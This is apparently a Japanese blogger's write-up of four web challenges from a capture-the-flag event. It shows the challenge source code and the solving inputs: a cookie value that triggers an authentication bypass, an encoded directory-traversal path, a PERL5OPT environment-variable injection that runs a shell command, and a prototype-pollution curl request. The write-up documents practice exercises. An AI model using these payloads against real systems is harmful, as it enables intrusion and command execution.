
stさん作問のCTFにでました。
トイレから帰ってきたらstさんの解説が終わっていて残念
login-as-admin
const express = require('express');
const cookieParser = require('cookie-parser');
const FLAG = process.env.FLAG || 'flag{DUMMY}';
const PORT = process.env.PORT || 3000;
const app = express();
app.use(cookieParser());
const users = {
// guest user. This user has no admin permissions.
guest: {
isAdmin: false
},
// admin user. This user has admin permissions.
// However, the ID is randomly generated, so it is not known in advance.
[crypto.randomUUID()]: {
isAdmin: true,
}
};
app.get('/', (req, res) => {
const username = req.cookies.username || 'stranger';
return res.send(`
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login Form</title>
</head>
<body>
<h1>Login Form</h1>
<p>Hello, ${username}!</p>
<p><a href="/login-as-guest">Click here to login as <code>guest</code></a>.</p>
<p>If you are sure you are admin, then access <a href="/admin"><code>/admin</code></a> to get the flag.</p>
</body>
</html>
`.trim());
});
app.get('/login-as-guest', (req, res) => {
res.cookie('username', 'guest');
return res.redirect('/');
});
app.get('/admin', (req, res) => {
const username = req.cookies.username;
if (username === 'admin') {
return res.send('What are you trying to do?');
}
const user = users[username];
try {
if (!username || !user.isAdmin) {
return res.send(`You don't have enough permissions to access this page.`);
}
} catch {
console.error('something wrong');
}
return res.send(`Hello, admin! The flag is: ${FLAG}`);
});
app.listen(PORT, () => { console.log('running'); });
早解きなのでconst username = req.cookies.username;if (username === 'admin') {をみた瞬間にcookieにadminを入れましたが煽られてしまいました。
よくみると、
try {
if (!username || !user.isAdmin) {
return res.send(`You don't have enough permissions to access this page.`);
}
} catch {
console.error('something wrong');
}
return res.send(`Hello, admin! The flag is: ${FLAG}`);
となっていました。なのでusernameを-1(undefined)にしたらOKです。
file yomitaro
const fs = require('fs');
const express = require('express');
const PORT = process.env.PORT || 3000;
const app = express();
app.use(express.urlencoded({ extended: false }));
const indexHtml = fs.readFileSync('./index.html', 'utf8');
app.get('/', (req, res) => {
return res.send(indexHtml);
});
app.get('/static/:file', (req, res) => {
let file = req.params.file;
for (const forbidden of ['dev', 'proc']) {
if (file.includes(forbidden)) {
return res.status(400).send({
error: `Access to ${forbidden} directory is not allowed`,
requestedFile: file
});
}
}
file = file.replace('..', ''); // Prevent directory traversal
if (file.endsWith('.js')) {
res.setHeader('Content-Type', 'application/javascript');
} else if (file.endsWith('.css')) {
res.setHeader('Content-Type', 'text/css');
}
if (fs.existsSync(`./static/${file}`)) {
return res.send(fs.readFileSync(`./static/${file}`, 'utf8'));
}
return res.status(404).send({
error: 'File not found',
requestedFile: file
});
});
app.listen(PORT, () => {
console.log('Server is running');
});
file = file.replace('..', ''); // Prevent directory traversalです。
昔stさんの記事でにたようなテクニックをみたような気がして(多分これhttps://nanimokangaeteinai.hateblo.jp/entry/2024/09/01/180138)すぐやるべきことはわかりました。
なので、static/….%2fflagを実行しましたが{“error”:”File not found”,”requestedFile”:”../flag”}と言われてしまい、ぬまり、別の問題に行きました。
のちのち自分でdockerを立てて
if (file == "help") {
return res.send(fs.readFileSync(`./static/../../flag`, 'utf8'));
}
の行を追加したりしてやっとパスが違うことに気づきました。Dockerfileにちゃんと書いてありました。
/static/….%2f..%2fflag
shaberu ushi
// index.html抜粋
const response = await fetch('/say', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: new URLSearchParams({
'params[input]': message
})
});
// index.js
const fs = require('fs');
const cp = require('child_process');
const express = require('express');
const PORT = process.env.PORT || 3000;
const app = express();
app.use(express.urlencoded({ extended: true }));
const indexHtml = fs.readFileSync('./index.html', 'utf8');
app.get('/', (req, res) => {
return res.send(indexHtml);
});
app.post('/say', (req, res) => {
const params = req.body.params || {};
if (typeof params.input !== 'string' || params.input.length > 100) {
return res.status(400).json({ error: 'Message too long' });
}
try {
const result = cp.execFileSync('/usr/games/cowsay', [], {
...params,
encoding: 'utf8',
timeout: 3000,
// just to be sure we don't execute arbitrary commands
cwd: '/app',
shell: '/bin/sh'
});
return res.json({
message: result.trim()
});
} catch (error) {
return res.status(500).json({ error: 'Failed to generate cowsay' });
}
});
app.listen(PORT, () => {
console.log('Server is running');
});
flattさんのサマーインターンのプログラムで似たようなのがでたので…params,こいつがまずそうだなと感じました。
execFileSyncを見るとどうやら第三引数は環境変数とかも入れれるようです(https://nodejs.org/api/child_process.html#child_processexecfilesyncfile-args-options)
cowsayで環境変数いれれたら何がまずいかなと考えます。

チャッピーに聞くとどうやらこのcowsayはPerlで動いているということがわかります。
PERL5OPT=-dとは何かと聞くとどうやらデバックモードなるものらしくperlを実行できるそうです。
そうなったらあとはやるだけです
params[env][PERL5OPT]=-d¶ms[input]=print+qx(/readflag-*);
これを送信するとフラグが帰ってきます。
helmet-anuki
問題のゴール:
Content-Security-Policy
の値にgive me flag!
を含ませる
# runner/app.py
import datetime
import json
import logging
import os
import threading
import time
import docker
from flask import Flask, request
IMAGE_NAME = 'tanuki-sandbox'
FLAG = os.environ.get('FLAG', 'flag{DUMMY}')
client = docker.from_env()
logger = logging.getLogger(__name__)
logging.basicConfig(level=logging.INFO)
def run(json):
result = client.containers.run(IMAGE_NAME, [json], environment={
'FLAG': FLAG
}, remove=True, init=True)
return result.decode('utf-8')
def clean():
now = datetime.datetime.now(datetime.timezone.utc)
logger.info(f'clean() started: {now}')
containers = client.containers.list(all=True, filters={
'ancestor': IMAGE_NAME
})
for container in containers:
started_str = container.attrs['State']['StartedAt']
started = datetime.datetime.fromisoformat(started_str.replace('Z', '+00:00'))
elapsed = (now - started).total_seconds()
if elapsed > 60:
try:
logger.info(f"Removing container {container.id[:12]} started at {started_str}")
container.remove(force=True)
except Exception as e:
logger.info(f"Failed to remove container {container.id[:12]}: {e}")
now = datetime.datetime.now(datetime.timezone.utc)
logger.info(f'clean() finished: {now}')
def cleanup_worker():
while True:
try:
clean()
except Exception as e:
logger.info(f'error occurred in clean(): {e}')
time.sleep(60)
app = Flask(__name__)
with open('index.html', 'r') as f:
index_html = f.read()
@app.get('/')
def index():
return index_html
@app.post('/run')
def go():
user_input = request.form.get('input', '')
try:
json.loads(user_input)
except:
return 'Please input valid JSON'
logger.info(f'payload: {user_input}')
try:
result = run(user_input)
logger.info(f'result: {result}')
except Exception as e:
logger.info(f'error occurred in run(): {e}')
return 'error occurred'
return result
if __name__ == '__main__':
cleanup_thread = threading.Thread(target=cleanup_worker, daemon=True)
cleanup_thread.start()
app.run(host='0.0.0.0')
//sandbox/index.js
const express = require('express');
const helmet = require('helmet');
const FLAG = process.env.FLAG || 'flag{DUMMY}';
const IMPORTANT_HEADER_KEY = 'content-security-policy';
if (process.argv.length < 3) {
console.error('no arg provided');
process.exit(1);
}
// pollute Object.prototype with user-provided object
const payload = process.argv[2]; // you can control this string
for (const [k, v] of Object.entries(JSON.parse(payload))) {
Object.prototype[k] = v;
}
/////////////////////////////////////////////////////////////////////////////
// okay, let's deploy the server
const app = express();
app.use(helmet()); // this will strengthen this app!
app.get('/', (req, res) => {
res.send('ok');
});
app.listen(3000, () => {
// send request to the server itself to check if the header is polluted
fetch('http://localhost:3000').then(r => {
if (!r.headers.has(IMPORTANT_HEADER_KEY)) {
console.log(`nope: ${IMPORTANT_HEADER_KEY} not found`);
process.exit(0);
}
// if you control the Content-Security-Policy header, I will give you the flag
const headerValue = r.headers.get(IMPORTANT_HEADER_KEY);
const isHeaderPolluted = headerValue.includes('give me flag!');
console.log(isHeaderPolluted ? `Congratulations! The flag is: ${FLAG}` : 'nope: header not polluted');
process.exit(0);
});
});
問題文よりprototype pollutionの問題のようです。
for (const [k, v] of Object.entries(JSON.parse(payload))) {
Object.prototype[k] = v;
}
自明。
isHeaderPollutedがtrueならflagが表示される。これはheaderValueに’give me flag!という文字列が含まれていたらtrueになる。headerValueはIMPORTANT_HEADER_KEY,これはcontent-security-policy
問題文にもある通りhelmetという見たことのないライブラリが重要そう。
チャッピーにhelmetのCSPの扱いとかを聞いてみる。
helmet.contentSecurityPolicy。こんな感じになっているらしい。
app.use(helmet());しているからobject.contentSecurityPolicyを汚染するとconst headerValue = r.headers.get(IMPORTANT_HEADER_KEY);も汚染される?
curl -s -X POST ‘http://34.85.39.41/run’ -d ‘input={“contentSecurityPolicy”:{“directives”:{“report-uri”:”give me flag!”}}}’
TODO:あとでちゃんとみる
なのでこのようなリクエストをおくるとフラグが帰ってくる。
普段関西住みなのでmini CTFに参加できていませんでしたが初参加楽しかったです。
ありがとうございました!